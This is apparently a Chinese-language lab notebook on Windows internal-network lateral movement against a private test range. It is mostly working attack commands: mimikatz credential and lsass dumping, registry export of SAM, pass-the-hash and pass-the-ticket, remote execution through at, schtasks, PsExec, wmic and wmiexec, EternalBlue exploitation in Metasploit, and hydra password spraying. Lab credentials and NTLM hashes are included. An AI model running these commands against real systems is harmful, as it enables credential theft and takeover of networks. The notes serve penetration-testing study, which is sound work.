内网横向移动
内网横向移动
常用Windows远程连接和相关命令
1.IPC
1)建立连接
net use \\192.168.162.140\ipc$ /user:Administrator hongrisec@2019
在命令行中输入
net use
查看当前连接
2)ipc$的利用条件
a)开启了139,445端口
b)管理员开启了默认共享
3)ipc$连接失败的原因
a)用户名密码错误
b)目标没有打开ipc$默认共享
c)不能成功连接目标的139,445端口
d)命令输入错误
2.使用windows自带的工具获取远程主机信息
1)dir命令
dir \\192.168.162.140\c$
2)tasklist命令
tasklist /S 192.168.162.151 /U administrator /P hongrisec@2019
解决:
3.计划任务
1)at命令
windows2008之前(实测win7可以)
查看目标系统时间
net time \\192.168.162.140
将文件复制到目标系统中
copy calc.bat \\192.168.162.140\c$
使用at创建计划任务
at \\192.168.162.140 时间 C:\calc.bat
清除at记录
at \\192.168.162.140 2 /delete
使用at远程执行命令后,先将执行结果写入本地文件夹中,然后远程读取
at \\192.168.162.140 时间 cmd.exe /c "ipconfig > C:/1.txt"
type \\192.168.162.140\c$\1.txt
at \\192.168.162.140 3 /delete
2)schtasks命令(失败,出现找不到网络路径)
windows2008之后
在远程主机上创建一个名称为test的计划任务,在开机时启动,启动程序为c盘下的calc.bat,启动权限为system
schtasks /create /s 192.168.162.140 /tn test /sc onstart /tr c:\calc.bat /ru system /f
执行如下命令运行计划任务
schtasks /run /s 192.168.162.140 /i /tn "test"
Windows系统散列值获取分析与防范
1.GetPass
链接:https://pan.baidu.com/s/1pFP_NvUDtY25BxAMpeDbtg?pwd=yjy9
提取码:yjy9
2.PwDump7
下载https://github.com/Seabreg/pwdump
然后暴力破解
https://crackstation.net/
3.QuarksPwDump
下载https://github.com/tuthimi/quarkspwdump/blob/master/Release/QuarksPwDump.exe
使用
QuarksPwDump.exe --dump-hash-local
然后暴力破解
https://crackstation.net/
4.通过SAM和System文件抓取密码
导出SAM和System文件
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
使用mimikatz读取
下载
链接:https://pan.baidu.com/s/1Ve_U3EhOEtgjBXCKfzFIOw?pwd=l4v9
提取码:l4v9
解析
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
5.使用mimikatz在线读取SAM文件
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
或者
mimikatz.exe "privilege::debug" "log" "sekurlsa:logonpasswords" exit
6.使用mimikatz离线读取lsass.dmp文件
下载procdump
链接:https://pan.baidu.com/s/1974E3pe0JYYiksSsLIeZLQ?pwd=4njp
提取码:4njp
先把procdump.exe上传到受害机,然后导出lsass.dmp传回攻击机
procdump.exe -accepteula -ma lsass.exe lsass.dmp
攻击机中运行
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
哈希传递攻击(需要本地管理员权限)
注意执行dir访问远程主机时要用主机名,不能用ip地址
实战中是通过mimikatz获得同一个域的其他主机的hash值,然后利用哈希传递进行控制其他的主机
1.利用NTLM Hash进行哈希传递
受害机信息:
域名:STU1
ip:192.168.162.140
用户名:administrator
NTLM Hash:8a963371a63944419ec1adf687bb1be5
在攻击机中执行,会弹出一个新的cmd.exe
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:STU1 /ntlm:8a963371a63944419ec1adf687bb1be5" exit
可以将木马放到远程主机里,然后利用计划任务执行
2.利用AES-256进行哈希传递
受害机信息:
域名:god
ip:192.168.162.140
用户名:stu1$
AES-256密钥:b9bb565bc987b5319903462cfff7249bcf530b719c7e4e0077bd5cb133eadaf7
在受害机中抓取AES-256密钥
mimikatz "privilege::debug" "sekurlsa::ekeys" exit
在攻击机中
mimikatz "privilege::debug" "sekurlsa::pth /user:stu1$ /domain:god /aes256:b9bb565bc987b5319903462cfff7249bcf530b719c7e4e0077bd5cb133eadaf7" exit
但这样还是不能进行访问远程主机,还得安装kb2871997补丁,在安装了kb2871997补丁后,常规的的哈希传递方法无法进行横向移动,但Administrator账号除外(SID为500)
创建一个快照,然后安装补丁https://www.microsoft.com/zh-tw/download/details.aspx?id=42722
查看sid值
whoami /user
wmic useraccount get name,sid
票据传递攻击(不需要本地管理员权限)(环境没搭建好)
1.使用mimikatz进行票据传递
将内存中的票据导出
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt,cifs,ldap等
使用mimikatz清除内存中的票据
kerberos::purge
将票据文件注入内存
2.使用kekeo进行票据传递
PsExec的使用
利用445端口的smb协议
1)PsTools
下载https://download.sysinternals.com/files/PSTools.zip
在有ipc$的情况下建立system权限的交互式shell,如果没有-s的话会建立administrator权限的shell
PsExec.exe -accepteula \\192.168.162.140 -s cmd.exe
如果没有ipc$的话(这个实验失败了)
PsExec.exe -accepteula \\192.168.162.140 -u administrator -p hongrisec@2019 cmd.exe
注意:
需要远程系统开启admin$共享(默认是开启的)
在使用ipc$连接目标系统后,不需要输入账号密码了
2)msf中的psexec
一般有两个模块
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(powershell版本)
use exploit/windows/smb/psexec
set rhost 192.168.162.140
set smbuser administrator
set smbpass hongrisec@2019
run
3)进行哈希传递攻击
下载 https://github.com/maaaaz/impacket-examples-windows(这个和pstools有些不同)
受害机信息:
域名:STU1
ip:192.168.162.140
用户名:administrator
NTLM Hash:8a963371a63944419ec1adf687bb1be5
那一串0可以省略,这样可以直接拿shell,方便些
psexec.exe -hashes 00000000000000000000000000000000:8a963371a63944419ec1adf687bb1be5 Administrator@192.168.162.140
如果已知明文密码,目前还是很疑惑密码中的@为什么不用反斜杠处理,但一用反斜杠处理就会报错
psexec.exe Administrator:hongrisec@2019@192.168.162.140
如果在域中的话
psexec.exe god/Administrator:hongrisec@2019@192.168.162.140
WMI的使用
需要135端口开放
1)基础使用
wmic /node:192.168.162.140 /user:administrator /password:hongrisec@2019 process call create "cmd.exe /c ipconfig > ip.txt"
2)进行哈希传递攻击
下载 https://github.com/maaaaz/impacket-examples-windows(书接psexec)
受害机信息:
域名:STU1
ip:192.168.162.140
用户名:administrator
NTLM Hash:8a963371a63944419ec1adf687bb1be5
那一串0可以省略
这样可以直接拿shell,方便些
wmiexec.exe -hashes 00000000000000000000000000000000:8a963371a63944419ec1adf687bb1be5 Administrator@192.168.162.140
永恒之蓝漏洞
检测永恒之蓝漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.162.0/24
set threads 50
run
利用永恒之蓝漏洞
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.162.140
RDP服务哈希传递
单独写了个博客
https://www.cnblogs.com/thebeastofwar/p/17720118.html
NTML重放攻击&&Responder中继攻击
密码喷洒攻击
主要目的:避免针对一个用户爆破次数过多导致账户被锁定,
还有很多人有设置同一个密码的习惯,所以就针对同一个密码爆破不同的账户
下载 https://github.com/ory/hydra
固定密码爆破用户名
hydra.exe -L ./user.txt -P ./passwd.txt 192.168.162.0/24 smb
hydra.exe -L ./user.txt -p hongrisec@2020 192.168.162.0/24 smb
委派攻击
Afind下载
https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
1.非约束委派
2.约束委派